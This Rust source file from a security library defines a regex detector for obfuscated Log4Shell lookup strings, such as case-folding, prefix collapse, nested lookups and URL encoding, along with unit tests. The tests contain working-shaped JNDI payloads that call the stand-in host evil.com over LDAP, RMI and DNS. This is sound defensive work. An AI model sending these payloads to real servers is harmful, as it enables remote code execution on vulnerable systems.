Skip to main content

security_rust/protocol/
log4shell.rs

1// Copyright (c) 2026 erik <erik@erik.xyz> — https://erik.xyz
2
3use crate::{AttackCategory, DetectionResult, Detector, Severity, regex_detect};
4use regex::Regex;
5use std::sync::LazyLock;
6
7// log4j 的 lookup 前缀。花括号里的内容必须落在名录内——光看"`${` 里套 `${`"或
8// "`}` 后面跟着 ndi"会把 shell 的 `${VAR:-${DEFAULT}}`、`${VAR:?${MSG}}`、
9// `${PATH:+${PATH}:/opt}` 和 `${x}${y}` 全打成 Critical。这些形状在 shell/Makefile
10// 里是日常写法,唯一能把它们和 log4j 混淆区分开的就是关键字。
11const LOOKUP: &str =
12    r"(?:jndi|lower|upper|env|sys|date|java|main|ctx|base64|hostName|map|marker|spring)";
13
14// 与 JndiInjectionDetector 的分工:那边认字面量 `${jndi:`、`${lower:j}`,
15// 这边专攻"lookup 展开后才拼出 jndi"的混淆变体——攻击串里根本不含 `jndi` 五个字母。
16static PATTERNS: LazyLock<Vec<Regex>> = LazyLock::new(|| {
17    vec![
18        // ${lower:j} / ${upper:J}:单字符大小写折叠,正常模板不会这么写
19        Regex::new(r"(?i)\$\{(?:lower|upper)\s*:\s*[a-z]\s*\}").unwrap(),
20        // ${::-j}:前缀折叠
21        Regex::new(r"(?i)\$\{\s*::-?[a-z]{1,3}\s*\}").unwrap(),
22        // ${<lookup>}ndi: —— lookup 展开结果紧邻 ndi(`${lower:j}ndi:` 里 `}` 直接接 ndi,
23        // 所以判据只能放在花括号内是不是 lookup,不能放在 `}` 后面跟什么)
24        Regex::new(
25            &[
26                r"(?i)\$\{\s*",
27                LOOKUP,
28                r"\s*:[^{}]{0,120}\}\s*[a-z]{0,4}ndi\s*[:/{]",
29            ]
30            .concat(),
31        )
32        .unwrap(),
33        // ${${<lookup>...}}:嵌套展开,内层同样必须是 lookup 关键字
34        Regex::new(&[r"(?i)\$\{\s*[^{}]{0,120}\$\{\s*", LOOKUP, r"\s*:"].concat()).unwrap(),
35        // URL 编码形态 %24%7Blower%3Aj%7Dndi,绕 WAF 用
36        Regex::new(
37            &[
38                r"(?i)%24%7b\s*",
39                LOOKUP,
40                r"\s*(?::|%3a).{0,120}%7d.{0,4}ndi",
41            ]
42            .concat(),
43        )
44        .unwrap(),
45    ]
46});
47
48pub struct Log4ShellDetector;
49
50impl Detector for Log4ShellDetector {
51    fn name(&self) -> &'static str {
52        "log4shell"
53    }
54
55    fn detect(&self, input: &str) -> Option<DetectionResult> {
56        regex_detect(
57            &PATTERNS,
58            self.name(),
59            AttackCategory::Protocol,
60            Severity::Critical,
61            "Log4Shell lookup obfuscation detected",
62            input,
63        )
64    }
65}
66
67#[cfg(test)]
68mod tests {
69    use super::*;
70    use crate::test_helpers::{assert_clean, assert_detected};
71
72    fn det() -> Log4ShellDetector {
73        Log4ShellDetector
74    }
75
76    fn assert_hit(input: &str) {
77        assert_detected(&det(), input, AttackCategory::Protocol, Severity::Critical);
78    }
79
80    #[test]
81    fn name_is_log4shell() {
82        assert_eq!(det().name(), "log4shell");
83    }
84
85    #[test]
86    fn detects_case_folding_lookup() {
87        for input in [
88            "${lower:j}ndi:ldap://evil.com/a}",
89            "${upper:j}NDI:rmi://evil.com/a}",
90            "${lower:j}",
91            "${upper:J}",
92        ] {
93            assert_hit(input);
94        }
95    }
96
97    #[test]
98    fn detects_prefix_collapse_lookup() {
99        for input in [
100            "${::-j}ndi:ldap://evil.com/a}",
101            "${::-j}",
102            "${::-J}ndi:dns://evil.com}",
103        ] {
104            assert_hit(input);
105        }
106    }
107
108    #[test]
109    fn detects_lookup_then_ndi_tail() {
110        for input in [
111            "${env:BARFOO:-j}ndi:ldap://evil.com/a}",
112            "${sys:user.name}ndi:ldap://evil.com/a}",
113            "${date:'j'}ndi:ldap://evil.com/a}",
114            "${java:version}ndi://evil.com/x}",
115        ] {
116            assert_hit(input);
117        }
118    }
119
120    #[test]
121    fn detects_nested_lookup() {
122        for input in [
123            "${${lower:j}ndi:ldap://evil.com/a}",
124            "${${env:FOO:-ldap}://evil.com/a}",
125            "${${sys:x}${lower:j}}",
126        ] {
127            assert_hit(input);
128        }
129    }
130
131    #[test]
132    fn detects_url_encoded_payload() {
133        for input in [
134            "%24%7Blower%3Aj%7Dndi:ldap://evil.com/a",
135            "%24%7B%24%7Blower%3Aj%7Dndi%3Aldap%3A%2F%2Fevil.com%7D",
136        ] {
137            assert_hit(input);
138        }
139    }
140
141    #[test]
142    fn ignores_benign_inputs() {
143        for input in [
144            "Hello, this is a normal text input. Nothing suspicious here.",
145            "the price is ${amount}",
146            "The total is ${total} dollars, tax is ${tax}.",
147            "cost: $10",
148            "const x = `${name}`; // 模板字符串",
149            "printf(\"%s\", ${var});",
150            "${date:yyyy-MM-dd} 是 log4j 的日期占位符",
151            "${env:JAVA_HOME} 读取环境变量",
152            "url: http://example.com/?q=%24%7Bfoo%7D",
153        ] {
154            assert_clean(&det(), input);
155        }
156    }
157
158    #[test]
159    fn ignores_shell_default_and_alternate_expansions() {
160        // ${VAR:-${DEFAULT}} / ${VAR:?${MSG}} / ${VAR:+${X}:/opt} 是 shell 的日常写法,
161        // 与 log4j 的嵌套 lookup 同形——只有花括号里是不是 lookup 关键字能区分。
162        for input in [
163            "echo ${A:-${B}}",
164            "echo ${VAR:?${OTHER}}",
165            "make: ${CC:-${CROSS_COMPILE}gcc}",
166            "echo \"${PATH:+${PATH}:/opt}\"",
167        ] {
168            assert_clean(&det(), input);
169        }
170    }
171
172    #[test]
173    fn ignores_short_suffix_before_ndi() {
174        // `ndi` 前只剩短尾巴(`${x}ndi/`)不是 log4j:`${lower:j}ndi:` 里的 `}` 直接接
175        // ndi,所以不能靠"`}` 后必须有 j"来判定,只能要求花括号内是 lookup。
176        for input in ["${x}ndi/x", "${x}indi:", "${x}hindi:", "${name}andi: 你好"] {
177            assert_clean(&det(), input);
178        }
179    }
180
181    #[test]
182    fn edge_cases() {
183        assert_clean(&det(), "");
184        assert_clean(&det(), "   ");
185        assert_clean(&det(), "你好世界 こんにちは");
186        // 缺 ${ 或 } 的近失串
187        assert_clean(&det(), "lower:j}ndi:ldap://evil.com");
188        assert_clean(&det(), "${lower:jndi:ldap://evil.com}");
189        assert_clean(&det(), "${ndi:ldap://evil.com}");
190    }
191}